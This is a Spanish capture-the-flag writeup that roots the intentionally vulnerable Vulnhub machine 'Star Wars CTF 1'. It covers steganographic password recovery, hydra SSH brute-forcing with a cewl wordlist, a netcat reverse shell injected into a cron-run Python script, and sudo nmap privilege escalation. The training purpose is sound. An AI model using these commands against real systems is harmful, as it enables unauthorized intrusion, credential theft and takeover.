Entrada

Writeup StarWars CTF 1

Writeup StarWars CTF 1

En este writeup, resolveré la máquina StarWars CTF 1 de Vulnhub, documentando cada paso y técnica empleada durante el proceso. A lo largo de este análisis, cubriré desde la recolección de información inicial hasta la explotación de vulnerabilidades y la escalada de privilegios, detallando las herramientas utilizadas y los métodos aplicados.

El objetivo es proporcionar una guía detallada para aquellos interesados en aprender sobre técnicas de pentesting y hacking ético, a través de un enfoque práctico y exhaustivo. Cada etapa del proceso será explicada en detalle para facilitar la comprensión de los desafíos encontrados y las soluciones implementadas. Este writeup está diseñado tanto para novatos como para usuarios avanzados que deseen mejorar sus habilidades en la resolución de máquinas de CTF.

1
2
3
4
5
6
 ____  _              __        __             
/ ___|| |_ __ _ _ __  \ \      / /_ _ _ __ ___ 
\___ \| __/ _` | '__|  \ \ /\ / / _` | '__/ __|
 ___) | || (_| | |      \ V  V / (_| | |  \__ \
|____/ \__\__,_|_|       \_/\_/ \__,_|_|  |___/
                                               
Name:Star Wars CTF: 1
Date release:1 Aug 2020
Author:Sir Logic
Series:Star Wars CTF
Style:Enumeration/Follow the breadcrumbs
Goal:get root (uid 0) and read the flag file
Difficulty:Easy
Web page:https://www.vulnhub.com/entry/star-wars-ctf-1,528/

Descripción

Star Wars themed CTF for beginners This works better with VirtualBox rather than VMware

Resolucion de la maquina

Vamos a obtener acceso de root en una máquina de VulnHub llamada “Star Wars CTF 1”.

Contiene una bandera que es accesible tras obtener privilegios de root en la máquina. Fue desarrollada por el equipo Sir Logic, y el nivel de dificultad de esta máquina es para principiantes.

Nuestro objetivo es obtener acceso de root.

Para resolver esta maquina uso las siguientes tecnologias:

  • Reconocimiento
    • netdiscover
    • Nmap
  • Enumeracion
    • gobuster
    • dirb
  • Explotación
    • Zsteg
    • hydra
    • Inicio de sesión SSH
  • Post-Explotación
    • Enumeracion local
    • cewl
    • hydra
  • Escalada de Privilegios
    • Post-enumeración
    • Abuso de scripts con permisos de escritura
    • Acceso como root

Fase de Fingerprinting / Reconocimiento (Reconnaissance)

Comienzo con el reconocimiento de la máquina vulnerable usando netdiscover. Con este comando, puedo identificar la dirección IP de los dispositivos en la red y encontrar la IP de nuestra máquina objetivo.

1
netdiscover -r 192.168.88.0/24 -i eth0

alt text

Obtengo la IP objetivo de la máquina: 192.168.88.6

Ahora que conozco la IP objetivo, la almaceno en una variable para su uso

1
export IP=192.168.88.6

Enumeracion

Voy a escanear la IP con Nmap para recopilar información sobre el host objetivo.

En primer lugar voy a extraer los puertos disponibles en la maquina objetivo y los guardo en una variable.

1
2
3
nmap -p- $IP | awk '{print $1}' | grep -E '^[0-9]+' | cut -d'/' -f1 | paste -sd, - > puertos.txt
cat puertos.txt
export PORTS=22,80

Solo hay dos puertos abiertos: 22 y 80.

En el siguiente comando, hago un escaneo de versiones sobre los puertos detectados y compruebo el sistema operativo y guardo todo el contenido en ficheros.

1
nmap -sS -sV -p$PORTS $IP -O -oA /home/kali/Labs/StarWars/scan_nmap_$IP
PORTSTATESERVICEVERSION
22/tcpopensshOpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcpopenhttpApache httpd 2.4.38 ((Debian))
Sistema operativo: Linux 4.X5.X

Dado que el puerto 80 está abierto, exploro la página web en esta IP objetivo usando un navegador.

alt text

Reviso el código fuente de la página obteniendolo mediante la herramienta curl.

alt text

En el código fuente, el autor dejó una pista sobre la contraseña: “la contraseña está aquí”, seguida de un texto que indica una contraseña oculta.

alt text

Intento descodificacion suponiendo que esta codificado en base64 al acabar con el simbolo “=”

alt text

Este intento no me lleva a ningun sitio.

Sigo investigando la pagina web y descargo las imagenes de la pagina pensando que pudieran contener datos ocutlos.

1
2
wget http://192.168.88.5:80/images/yoda.png
wget http://192.168.88.5:80/images/yoda.jpg

alt text

Compruebo informacion exif de las imagenes.

alt text

alt text

Para comprobar datos ocultos en archivos png y bmp suelo usar la herramienta zsteg que puedes encontrar en el repositorio de github https://github.com/zed-0xff/zsteg

La instalacion se realiza con:

1
gem install zsteg

alt text

Compruebo la imagen PNG con la herramienta zsteg.

alt text

Obtengo el siguiente texto oculto:

1
the real password is babyYoda123

Otra forma de llegar a obtener este texto es mediante herramientas de esteganografía online como https://stylesuxx.github.io/steganography/ donde puedes subir la imagen y pulsar sobre Decode Image y obtendras el texto anterior.

alt text

Enumeracion Web

Para la enumeracion web una herramienta muy potente es gobuster. La instalo en mi maquina atacante.

alt text

Para sacarle buen partido necesito tambien unos diccionarios buenos. Para la enumeracion suelo usar los diccionarios que nos ofrece seclists. Se pueden instalar en la maquina directamente con apt-get install seclist

alt text

Una vez instalados estan listos para ser usados.

alt text

Lanzo gobuster contra la pagina web usando el diccionario de contenido web directory-list-lowercase-2.3-big.txt

1
gobuster dir -u http://192.168.88.6 -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt -x .js .txt .html .htm .php

alt text

Completo la enumeracion lanzando tambien dirb

1
dirb http://$IP/ -X ,.php,.html,.js,.txt

alt text

alt text

He encontrado algunos directorios y ficheros que es interesante revisar.

1
2
3
4
5
6
7
8
9
/robots.txt     http://192.168.88.5/robots.txt
/images         http://192.168.88.5/images/
/users.js       http://192.168.88.5/users.js
/admin          http://192.168.88.5/admin
/wordpress      http://192.168.88.5/wordpress
/manual         http://192.168.88.5/manual
/javascript     http://192.168.88.5/javascript/
/server-status  http://192.168.88.5/server-status
/r2d2           http://192.168.88.5/r2d2
  • /robots.txt.

alt text

1
2
3
Why does the Jedi Order keep checking the robots.txt file.
Might take a look at /r2d2
He is the real OG. 

En este archivo nos indica que revisemos el archivo r2d2.

  • /r2d2

alt text

El archivo r2d2 es un texto.

alt text

Guardo el texto para revisarlo con mas detenimiento o por si hace falta mas adelante.

  • /admin

Al acceder a admin obtengo una web con un login que me indica que intente acceder bajo mi propio riesgo.

alt text

Al pulsar login me abre un modal donde hacer login

alt text

  • /wordpress

alt text

  • Archivo users.js

alt text

Obtengo nombres de usuario:

1
2
skywalker
han

Ahora que he obtenido unos usuarios y tengo la clave anterior, puedo probar el modal de login anterior.

uso las combinaciones

skywalker:babyYoda123 han:babyYoda123

Ambos intentos me llevan a action_page.php pero recibo un “Not Found”.

alt text

Explotacion de servicio SSH

Realizo un ataque de fuerza bruta al servicio SSH con los usuarios y la clave encontrada. Aunque los nombres de usuario son 2 y solo tengo una password y podria probarlo manualmente prefiero hacer un ataque con hydra para no perder el habito y olvidar su uso.

Guardo los usuarios en un fichero de texto llamado users.txt

curl http://192.168.88.6/users.js > users.txt cat users.txt

alt text

Lanzo el ataque con hydra:

1
hydra -L users.txt -p babyYoda123 192.168.88.6 ssh

alt text

He obtenido que el login es valido para han:babyYoda123

Compruebo el acceso por SSH

alt text

Post-Explotacion

Enumeracion Local de la maquina objetivo

Una vez que he conseguido hacer login en la maquina con un usuario legitimo, el paso mas logico es comprobar la maquina desde dentro, por lo que hare una enumeracion local.

Enumeracion sistema

Enumero el sistema con los siguientes comandos:

1
2
3
4
hostname
cat /etc/*release
uname -a
df -h

alt text

alt text

Enumeracion usuarios

Enumero usuarios con los siguientes comandos:

cat /etc/passwdgrep sh
lastloggrep -v “Never”

alt text

Encuentro que ademas de el usuario han existen los usuarios skywalker y Darth que han hecho login en la maquina.

Enumeracion de archivos

Compruebo el contenido de la carpeta home del usuario han.

alt text

Hay una carpeta .secrets que es interesante.

Compruebo su contenido y obtengo un fichero note.txt que indica que “Anakin is a cewl kid.”

alt text

Encontrar la palabra cewl me sugiere usar dicha herramienta para generar una lista de palabras.

Uso cewl con el texto que encontre en http://192.168.88.6/r2d2 para crear un diccionario

1
cewl http://192.168.88.6/r2d2 > dict_r2d2.txt

alt text

Obtengo un diccionario de 328 palabras.

Lanzo un ataque de fuerza bruta con este diccionario con el usuario skywalker para el acceso por SSH.

1
hydra -l skywalker -P dict.txt 192.168.88.6 ssh

alt text

Obtengo una credencial valida para el acceso por SSH skywalker:tatooine

Accedo al sistema objetivo con las credenciales obtenidas

alt text

Realizo una enumeracion de ficheros

pwd ls -lisah cd .secrets/

alt text

ls -lisah cat note.txt

alt text

Consigo el texto

1
Darth must take up the job of being a good father

Escalada de Privilegios

Anteriormente vi que Darth habia hecho login en el sistema asi que investigo si tiene una carpeta de trabajo.

alt text

Cambio al directorio de trabajo de Darth y compruebo su contenido.

alt text

Veo que existe un directorio .secrets. Compruebo su contenido y obtengo un fichero llamado evil.py.

alt text

Este fichero parece indicar que “Deja que el miedo fluya a través de ti cada minuto.” Es decir que debe ejecutarse algo cada minuto en la maquina, lo que me indica que hay un trabajo en cron cada minuto.

Voy a abusar de que este fichero evil.py se ejecuta cada minuto para lanzar una shell reversa contra mi maquina atacante mediante el uso de netcat.

Edito el archivo evil.py con el comando:

1
nano evil.py

Mi maquina atancante tiene la IP 192.168.88.3 y selecciono el puerto 7331 que esta libre. Con estos datos añado las lineas:

1
2
import os
os.system("nc -e /bin/bash 192.168.88.3 7331")

alt text

En una nueva terminal, ejecuto un listener de Netcat para obtener la conexión inversa.

nc -nlvp 7331

alt text

Tras esperar un minuto obtengo una shell en el sistema con el usuario Darth.

alt text

Uso un one-liner en Python para obtener una shell TTY mas comoda

python -c ‘import pty; pty.spawn(“/bin/bash”)’

alt text

A continuacion compruebo los permisos que Darth tiene sobre binarios del sistema.

sudo -l

alt text

Indica que Darth puede usar nmap como root sin necesidad de clave.

Compruebo en gtfobins si hay escalacion de privilegios por sudo en el comando nmap y veo que es posible.

alt text

Compruebo que version de nmap esta instalada en el sistema objetivo y nos indica que es la version 7.70

alt text

Ya que la version que existe es superior a la 5.21 pruebo la opcion (a)

alt text

Y he obtenido el root del sistema.

Busco la flag y la localizo en /root.

Dejo mi firma dentro de la flag.

alt text

Esta entrada está licenciada bajo CC BY 4.0 por el autor.